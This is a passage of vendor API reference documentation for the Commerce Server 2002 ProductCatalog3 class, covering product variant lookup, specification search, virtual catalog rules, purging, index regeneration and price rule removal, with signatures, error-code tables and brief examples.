Import ADODB26Lib     ‘ for _Recordset
…
Public Function GetProductVariant(
 varProductID As Object,
 varVariantID As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetProductVariant(
 object varProductID,
 object varVariantID
);

Parameters

[Visual Basic .NET]
varProductID
An Object that contains the unique identifier of the product family.
varVariantID
An Object that contains the unique identifier of the product variant.
[C#]
varProductID
An object that contains the unique identifier of the product family.
varVariantID
An object that contains the unique identifier of the product variant.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset that contains the properties of the specified variant.

[C#] This method returns the _Recordset interface to a Recordset object that will contain the properties of the variant.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants the catalog has to be created with the variant identifier.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_VARIANTID | [C#] 0x8898005C [Visual Basic .NET] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C#] 0x8898004D [Visual Basic .NET] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_BLANK_VARIANT | [C#] 0x8898004F [Visual Basic .NET] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.

Remarks

[Visual Basic .NET] A single-row recordset with all the properties of the variant is returned. The fields of the returned recordset are determined by the properties associated with the definition on which it is based. Both the product properties and the variant properties are returned.

[C#] A single-row Recordset with all the properties of the variant is returned. The fields of the returned Recordset are determined by the properties associated with the definition on which it is based. Both the product properties and the variant properties are returned.

[Visual Basic .NET]

Example

rsVariantProps = myProductCatalog.GetProductVariant("SKU4007", "Blue")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.IdentifyingVariantProperty


ProductCatalog3.GetSpecificationSearchClauses Method (PIA)

Use this method to retrieve the specified specification search constraints.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Function GetSpecificationSearchClauses(
 strSearchHandle As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public Recordset GetSpecificationSearchClauses(
 string strSearchHandle
);

Parameters

[Visual Basic .NET]
strSearchHandle
A String that contains the specification search handle.
[C#]
strSearchHandle
A string that contains the specification search handle.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset that contains the specification search clauses.

[C#] This method returns a _Recordset interface to a Recordset used to return the search clauses.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C#] 0x8898010D [Visual Basic .NET] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....

Remarks

[Visual Basic .NET] The returned recordset contains a single variable-length String field, called Clause, and one row for each constraint present.

[C#]

The returned Recordset contains a single variable-length string field, called Clause, and one row for each constraint present.

[Visual Basic .NET]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch
rsMySearchClauses = myProductCatalog.GetSpecificationSearchClauses(strSearchHandle)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.AddSpecificationSearchClause

ProductCatalog3.RemoveSpecificationSearchClause


ProductCatalog3.GetVirtualCatalogRules Method (PIA)

Use this method to return a recordset containing the specified virtual catalog rules.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Function GetVirtualCatalogRules(
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional strPropertyToSortOn As Object,
  Optional fSortAscending As Boolean,
  Optional plTotalRecordsInQuery As Object,
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetVirtualCatalogRules(
  object lStartingRecord,
  object lRecordsToRetrieve,
  object strPropertyToSortOn,
  bool fSortAscending,
  object plTotalRecordsInQuery,
);

Parameters

[Visual Basic .NET]
lStartingRecord [Visual Basic]
An Object that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve [Visual Basic]
An Object that contains the number of records to retrieve.
strPropertyToSortOn [Visual Basic]
An Object that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery [Visual Basic]
An Object that, if supplied, contains on output the total number of records.
[C#]
lStartingRecord [Visual Basic]
An object that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve [Visual Basic]
An object that contains the number of records to retrieve.
strPropertyToSortOn [Visual Basic]
An object that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery [Visual Basic]
An object that, if supplied, contains on output the total number of records.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the properties for the object.

[C#] This method returns a _Recordset interface to a Recordset object used to return the properties of the object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties that you specified to sort are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
Type | VirtualCatalogRuleTypeEnum Enum | An enumeration that describes the type of rule. See the following table for a description of the values.
CatalogName | String 90 characters | The name of the catalog.
CategoryName | String 128 characters | The name of the category.
ProductID | String 256 characters | The field name that uniquely identifies products.
VariantID | String 256 characters | The field name that uniquely identifies variants.

The following table shows the enumeration that indicates the rule types in the returned recordset.

Name | Value | Description
VCRULETYPE_INCLUDE_PRODUCT | 1 | Indicates an inclusion rule for a product.
VCRULETYPE_EXCLUDE_PRODUCT | 2 | Indicates an exclusion rule for a product.
VCRULETYPE_INCLUDE_CATEGORY | 3 | Indicates an inclusion rule for a category.
VCRULETYPE_EXCLUDE_CATEGORY | 4 | Indicates an exclusion rule for a category.
VCRULETYPE_INCLUDE_VARIANT | 5 | Indicates an inclusion rule for a variant.
VCRULETYPE_EXCLUDE_VARIANT | 6 | Indicates an exclusion rule for a variant.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.GuaranteedSpecificationSearch Method (PIA)

Use this method to guarantee results when performing a specification search of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Function GuaranteedSpecificationSearch(
  pstrSearchHandle As Object,
  Optional eClassTypeRequired As Object,
  Optional lDesiredRecords As Object,
  Optional plTotalRecordsAvailable As Object,
  Optional pRSNewPropValuesList As Object,
  Optional vrPropertiesRequired As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GuaranteedSpecificationSearch(
  ref object pstrSearchHandle,
  object eClassTypeRequired,
  object lDesiredRecords,
  ref object plTotalRecordsAvailable,
  ref object pRSNewPropValuesList,
  object vrPropertiesRequired
);

Parameters

[Visual Basic .NET]
pstrSearchHandle
An Object that contains the specification search handle.
eClassTypeRequired
An Object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section below.
lDesiredRecords
An Object that contains the number of records desired.
plTotalRecordsAvailable
An Object used to return the total records available.
pRSNewPropValuesList
A Recordset used to return the new property values list.
vrPropertiesRequired
An Object that contains the properties required in a comma-delimited String.
[C#]
pstrSearchHandle
An object that contains the specification search handle.
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section below. Set to Type.Missing in order to not specify a catalog class.
lDesiredRecords
An object that contains the number of records desired. Set to Type.Missing to indicate all records.
plTotalRecordsAvailable
An object used to return the total records available. Set an object to Type.Missing if the returned total is not needed.
pRSNewPropValuesList
A Recordset used to return the new property values list. Set an object to Type.Missing if the returned Recordset is not needed.
vrPropertiesRequired
An object that contains the properties required in a comma delimited String. Set to Type.Missing to not specify a list of properties.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the search results.

[C#] This method returns a Recordset containing the search results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C#] 0x8898010D [Visual Basic .NET] &Hx8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011D [Visual Basic .NET] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C#] 0x88980049 [Visual Basic .NET] &H88980049 | The category you specified does not exist or is not marked as specification searchable.

Remarks

This method is similar to the PerformSpecificationSearch method. The optional output parameter, pRSNewPropValuesList, is a single-row Recordset. This Recordset contains one field for each searchable property for the products under the category specified in the BeginSpecificationSearch method. Each field contains a System.Array. The System.Array contains a set of distinct values for that property. The set is all the values in all the products that match the search clauses in the search handle. Only the properties that are marked as searchable are returned in the Recordset. A property can be marked as searchable by setting the IncludeInSpecSearch attribute of that property to true.

This method guarantees that results will be returned from a specification search of the catalog by removing search constraints in the reverse order that they were added until a match is found. Therefore, remember to add constraints to a specification search in order of decreasing importance.

The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. If the parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Note

  • When field names begin with a number or contain spaces they must be enclosed in brackets. Data errors will occur if the field names are not formatted correctly. For example, "[123_Prop1],[123_ Prop2]". If the vrPropertiesRequired property is omitted then the data in all fields will be returned correctly.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

[Visual Basic .NET]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch
'The following parameters should be examined after the call returns.
'plTotalRecordsAvailable is a Long
'pRSNewPropValuesList is an empty recordset
rsMySearchResults = myProductCatalog.GuaranteedSpecificationSearch('strSearchHandle , 20, plTotalRecordsAvailable, pRSNewPropValuesList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.AddSpecificationSearchClause

ProductCatalog3.PerformSpecificationSearch

ProductCatalog3.RemoveSpecificationSearchClause


ProductCatalog3.PerformSpecificationSearch Method (PIA)

Use this method to perform a specification search of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Function PerformSpecificationSearch(
  strSearchHandle As String,
  Optional eClassTypeRequired As Object,
  Optional lDesiredRecords As Object,
  Optional plTotalRecordsAvailable As Object,
  Optional pRSNewPropValuesList As Object,
  Optional vrPropertiesRequired As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset PerformSpecificationSearch(
  string strSearchHandle,
  object eClassTypeRequired,
  object lDesiredRecords,
  ref object plTotalRecordsAvailable,
  ref object pRSNewPropValuesList,
  object vrPropertiesRequired
);

Parameters

[Visual Basic .NET]
strSearchHandle
A String that contains the name of the search to perform.
eClassTypeRequired
An Object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section below.
lDesiredRecords
An Object that contains the records desired.
plTotalRecordsAvailable
An Object used to return the total number of records available.
pRSNewPropValuesList
An Object used to return the Recordset of the new property values list.
vrPropertiesRequired
An Object that contains the properties required in a comma-delimited String.
[C#]
strSearchHandle
A string that contains the name of the search to perform.
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section below. Set to Type.Missing in order to not specify a catalog class.
lDesiredRecords
An object that contains the records desired. Set to Type.Missing to indicate all records.
plTotalRecordsAvailable
An object used to return the total number of records available. Set an object to Type.Missing if the returned total is not needed.
pRSNewPropValuesList
An object used to return the Recordset of the new property values list. Set an object to Type.Missing if the returned Recordset is not needed.
vrPropertiesRequired
An object that contains the properties required in a comma-delimited String. Set to Type.Missing to not specify a list of properties.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the search results.

[C#] This method returns a Recordset object, which will contain the search results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C#] 0x8898010D [Visual Basic .NET] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011D [Visual Basic .NET] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C#] 0x88980049 [Visual Basic .NET] &H88980049 | The category you specified does not exist or is not marked as specification searchable.

Remarks

The PerformSpecificationSearch method executes a query using all of the constraints that have been added to the specified specification search handle.

The optional output parameter, pRSNewPropValuesList, is a single-row Recordset. This Recordset contains one field for each searchable property for the products under the category specified in the BeginSpecificationSearch method. Each field contains a System.Array. The System.Array contains a set of distinct values for that property. The set is all the values in all the products that match the search clauses in the search handle. Only the properties that are marked as searchable are returned in the Recordset. A property can be marked as searchable by setting the IncludeInSpecSearch attribute of that property to true.

The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. It will always contain a CatalogName field. If the parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Note

  • When field names begin with a number or contain spaces they must be enclosed in brackets. Data errors will occur if the field names are not formatted correctly. For example, "[123_Prop1],[123_ Prop2]". If the vrPropertiesRequired property is omitted then the data in all fields will be returned correctly.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

[Visual Basic .NET]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch
'The following parameters should be examined after the call returns.
'plTotalRecordsAvailable is a Long
'pRSNewPropValuesList is an empty recordset
rsSearchResults = myProductCatalog.PerformSpecificationSearch(strSearchHandle, 20, plTotalRecordsAvailable, pRSNewPropValuesList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.AddSpecificationSearchClause

ProductCatalog3.BeginSpecificationSearch

ProductCatalog3.GuaranteedSpecificationSearch

ProductCatalog3.RemoveSpecificationSearchClause


ProductCatalog3.Purge Method (PIA)

Use this method to remove deleted products, categories, and variants from the catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub Purge()
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Purge(
);

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details. In addition, this method may throw ADO errors.

Remarks

Commerce Server 2002 uses a two-stage delete process. When items are deleted from a catalog they are not removed from the Product Catalog System. The product rows are moved from the catalog tables to a deleted products table. This allows deletions to be exported with other changes by using the DeleteExportXML method. Use the Purge method to remove the marked products from the database. The Purge method is not accessible through the user interface.

Caution

  • There is no method for recovering deleted products.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RebuildVirtualCatalog Method (PIA)

Use this method to rebuild a virtual catalog or all dependent virtual catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RebuildVirtualCatalog(
  Optional fRunSynchronously As Object,
  Optional fForceRebuild As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void MethodName(
 object fRunSynchronously,
 object fForceRebuild
);

Parameters

[Visual Basic .NET]
fRunSynchronously
A Boolean that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously. The default value is False.
fForceRebuild
A Boolean that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuilt regardless of status. A value of False indicates that only dirty catalogs will be rebuilt. The default value is False.
[C#]
fRunSynchronously
A Boolean that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously. The default value is False.
fForceRebuild
A Boolean that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuilt regardless of status. A value of False indicates that only dirty catalogs will be rebuilt. The default value is False.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.

Remarks

If the fForceRebuild parameter is not set to True, virtual catalogs will only be rebuilt if there has been a rule change, a product deletion, or a category deletion that would affect the contents of the catalog. If this method is called on a base catalog, it will apply to all virtual catalogs that include products or categories from the base catalog. If this method is called on a virtual catalog, it will apply only to the virtual catalog.

If you want to rebuild all the virtual catalogs in the Product Catalog System, use ICatalogManager3::RebuildAllVirtualCatalogs

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RegenerateFreeTextSearchIndex Method (PIA)

Use this method to regenerate the free-text search index of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RegenerateFreeTextSearchIndex(
 fGenerateIncremental As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RegenerateFreeTextSearchIndex(
 bool fGenerateIncremental
);

Parameters

[Visual Basic .NET]
fGenerateIncremental
A Boolean that determines whether an incremental or a full rebuild of the free-text search index is to be performed. A value of True indicates an incremental rebuild. A value of False indicates a full rebuild. See the Remarks section for more information. The default value is False.
[C#]
fGenerateIncremental
A bool that determines whether an incremental or a full rebuild of the free-text search index is to be performed. A value of true indicates an incremental rebuild. A value of false indicates a full rebuild. See the Remarks section for more information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_CANNOT_REFRESH | [C#] 0x8898004C [Visual Basic .NET] &H8898004C | A catalog import operation is currently in progress. The refresh operation cannot be performed now.

Remarks

This method should be called after new products or categories are added to a catalog. Otherwise, those new products and categories will not be returned in any free-text search results.

The fGenerateIncremental parameter determines what type of free-text index rebuild to perform. The default is to completely rebuild the free-text index. Though this option ensures completeness, it is slower than an incremental rebuild, which appends only recently added products and categories to the index.

If the database in which Commerce Server keeps its catalog data does not have the SQL Server 2000 full-text engine installed, this method will return with no action.

Note

  • This method cannot be called in a transacted object. This method involves the creating, deleting, or updating of free-text indexes. SQL Server does not allow these operations in a transaction.
[Visual Basic .NET]

Example

myProductCatalog.RegenerateFreeTextSearchIndex(TRUE)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RemoveLanguage Method (PIA)

Use this method to remove a language from this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveLanguage(
  strLanguage As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveLanguage(
  BSTR strLanguage
);

Parameters

[Visual Basic .NET]
strLanguage
A String that contains the ISO 639+1 code that specifies the language to remove.
[C#]
strLanguage
A string that contains the ISO 639+1 code that specifies the language to remove.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009E [Visual Basic .NET] &H8898009E | The value you specified for the language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_LANGUAGE_NOT_ASSOCIATED | [C#] 0x889800A4 [Visual Basic .NET] &H889800A4 | The language that you specified is not associated with this catalog.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_CANNOT_REMOVE_DEFAULT_LANG | [C#] 0x889800AA [Visual Basic .NET] &H889800AA | The language that you specified is being used as the default language for this catalog. It cannot be removed.
E_CAT_CANNOT_REMOVE_REPORTING_LANG | [C#] 0x889800AB [Visual Basic .NET] &H889800AB | The language that you specified is being used as the reporting language for this catalog. It cannot be removed.

Remarks

This method removes the specified language from list of languages supported by the catalog. The language will not be removed if it is the default language or reporting language of the catalog; in this case, an error message will be returned.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RemovePriceRule Method (PIA)

Use this method to remove a specified price rule.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemovePriceRule(
  vrProductIDOrCategoryName As Object,
  Optional vrVariantID As Object,
  Optional fCategory As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemovePriceRule(
  object vrProductIDOrCategoryName,
  object vrVariantID,
  bool fCategory

Parameters

[Visual Basic .NET]
vrProductIDOrCategoryName
An Object that contains the product ID or category name to which the rule applies.
vrVariantID
An Object that contains the variant ID, if the rule is specific to a variant.
fCategory
A Boolean that specifies whether vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).
[C#]
vrProductIDOrCategoryName
An object that contains the product ID or category name to which the rule applies.
vrVariantID
An object that contains the variant ID, if the rule is specific to a variant.
fCategory
A Boolean that specifies whether vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C#] 0x889800FD [Visual Basic .NET] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_DELETION_PRICE_RULE_NOT_FOUND | [C#] 0x88980100 [Visual Basic .NET] &H88980100 | The pricing rule could not be deleted because it does not exist.

Remarks

Set the fCategory parameter to True and the vrProductIDOrCategoryName parameter to an empty string to remove the price rule for the entire catalog.

The vrVariantID parameter is only valid for products. If it is supplied, it indicates that the rule should be removed for that variant only.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RemoveSpecificationSearchClause Method (PIA)

Use this method to remove the last constraint from a specified specification search.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function RemoveSpecificationSearchClause(
 pstrSearchHandle As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string RemoveSpecificationSearchClause(
 ref object pstrSearchHandle
);

Parameters

[Visual Basic .NET]
pstrSearchHandle
An Object that contains the specification search handle from which a constraint is to be removed.
[C#]
pstrSearchHandle
An object that contains the specification search handle from which a constraint is to be removed.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the removed clause.

[C#] This method returns a string containing the removed clause.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method always removes the last constraint that was added to the search by using the AddSpecificationSearchClause method. The returned string will be in the same form as the original constraint.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

